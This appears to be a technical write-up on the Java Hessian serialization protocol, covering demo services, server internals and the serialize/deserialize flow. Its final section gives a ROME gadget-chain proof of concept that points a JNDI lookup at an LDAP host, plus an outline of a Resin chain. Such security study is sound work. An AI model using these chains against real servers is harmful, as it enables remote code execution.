Hessian

Hessian

Introduction

Hessian is a binary serialization protocol that defines its own mechanism for storing and restoring data.

The Hessian transport protocol has been iterated from version 1.0 to version 2.0. However, the current Hessian package supports both protocols, and the protocol used by the server to read the serialized data, and the protocol format of the serialized data returned, will be defined entirely by the flag bits in the request.

By default, the client sends serialized data using the Hessian 1.0 protocol format and the server returns serialized data using the Hessian 2.0 protocol format.

Demo

Spring Based

Server

1
2
3
public interface Greeting {
String sayHello(HashMap o);
}
1
2
3
4
5
6
7
@Service
public class Hello implements Greeting{
@Override
public String sayHello(HashMap o) {
return "Hi " + o.toString();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
@Configuration
public class HessianConfig {
@Resource
private Hello hello;

@Bean(name = "/hessian")
public HessianServiceExporter HiService() {
HessianServiceExporter exporter = new HessianServiceExporter();
exporter.setService(hello);
exporter.setServiceInterface(Greeting.class);
return exporter;
}

Client

1
2
3
4
5
6
7
8
9
10
11
12
public class client {
public static void main(String[] args)throws Exception{
String url = "http://localhost:8080/hessian";
HessianProxyFactory factory = new HessianProxyFactory();
Greeting greeting = (Greeting) factory.create(Greeting.class, url);

HashMap o = new HashMap<>();
o.put("a", "a");

System.out.println("Hessian Call: " + greeting.sayHello(o));
}
}

Result

1
Hessian Call: Hi {a=a}

Servlet Based

Server

1
2
3
4
5
6
7
8
9
10
import com.caucho.hessian.server.HessianServlet;

import java.util.HashMap;

public class Hello extends HessianServlet implements Greeting{
@Override
public String sayHello(HashMap o){
return "Hello " + o.toString();
}
}

Result

1
Hessian Call: Hello {a=a}

com.caucho.hessian.server.HessianServlet

This class is a subclass of the javax.servlet.http.HttpServlet.

init

This method will take care of some initialization.

Besides, Hessian encapsulates its own loadClass method to load classes, preferentially fetching the classloader from the current thread.

service

And the invoke method decides which method to call according to the objectID.

com.caucho.hessian.server.HessianSkeleton

This class is a subclass of AbstractSkeleton, used to encapsulate some service offered by Hessian.

initialization

In AbstractSkeleton, we first extract the interface.

HessianSkeleton initializes by saving the implementation class in the variable _service.

HessianFactory is used to create HessianInput/HessianOutput streams and HessianInputFactory is used to read and create HessianInput/Hessian2Input streams.

invoke

This method creates the input and output streams, followed by a lookup of the calling method and deserialization of the parameters and making a reflection call and writing back the result.

HessianSerialize

Like the JDK native Serialization, Hessian has its own serialization tool.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class ser {
public static void main(String argc[])throws Exception{
serialize(new Person());
unserialze("ser.bin");
}
public static void serialize(Object o)throws Exception{
Hessian2Output oos = new Hessian2Output(new FileOutputStream("ser.bin"));
oos.writeObject(o);
oos.close();
}
public static Object unserialze(String Filename) throws Exception {
Hessian2Input ois = new Hessian2Input(new FileInputStream(Filename));
return ois.readObject();
}
}

However, Hessian deserialization does not automatically call the readObject() method of the deserialized class.

Therefore, JDK native gadgets cannot be used directly in Hessian deserialization.

In fact, Hessian deserialized classes don’t even need to implement the Serializable interface.

In addition, Hessian does not support deserialization of transient and static attributes

writeObject()

This method gets the Serializer based on the object’s class and calls its writeObject method to serialize the data, and it has 29 serializer for a specific class.

For custom types, the relevant serialization will be performed using JavaSerializer/UnsafeSerializer/JavaUnsharedSerializer, and the UnsafeSerializer is default.

Here is the UnsafeSerializer#writeObject()

readObject()

In Hessian2Input#readObject, there are some switch case sentences, calling the relevant processing class according to the different data types after reading the identifier bits.

Besides, Hessian defines the Deserializer interface, which is used to deserialize the data, and the class UnsafeDeserializer is used to deserialize our custom data.

Remote Function Call

1
2
3
4
5
6
7
8
9
10
11
12
public class client {
public static void main(String[] args)throws Exception{
String url = "http://localhost:8080/hessian";
HessianProxyFactory factory = new HessianProxyFactory();
Greeting greeting = (Greeting) factory.create(Greeting.class, url);

HashMap o = new HashMap<>();
o.put("a", "a");

System.out.println("Hessian Call: " + greeting.sayHello(o));
}
}

This actually uses HessianProxy to create a dynamic proxy class for the interface to be called.

Exploit

The Hessian protocol uses unsafe to create class instances, uses reflection to write values, and has no logic for calling methods after they have been overridden.

However, Hessian deserialization will use MapDeserializer to deserialize the Map type, calling the equals() method and the hashcode() or compareTo() method.

ROME

JNDI

1
HashMap.put()->EqualsBean.toString()->JdbcRowSetImpl.getDatabaseMetaData()
1
2
3
4
5
6
7
8
9
10
11
public static void main(String[] args)throws Exception{
HashMap hashMap = new HashMap<>();
JdbcRowSetImpl jdbcRowSet =new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:8099/remote");
jdbcRowSet.setMatchColumn("a");
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
hashMap.put(equalsBean, equalsBean);
serialize(hashMap);
unserialze("ser.bin");
}

SignedObject

In signedObject#getObject, we can read the data using native deserialization.

So we can use the ROME chain to execute the native deserialization.

Resin

1
2
3
4
5
6
HashMap.put()
->XString.equals()
->QName.toString()
->ContinuationContext.composeName()
->NamingManager.getContext()
->NamingManager.getObjectFactoryFromReference()

Reference

https://su18.org/post/hessian/

https://p4d0rn.gitbook.io/java/serial-journey/hessian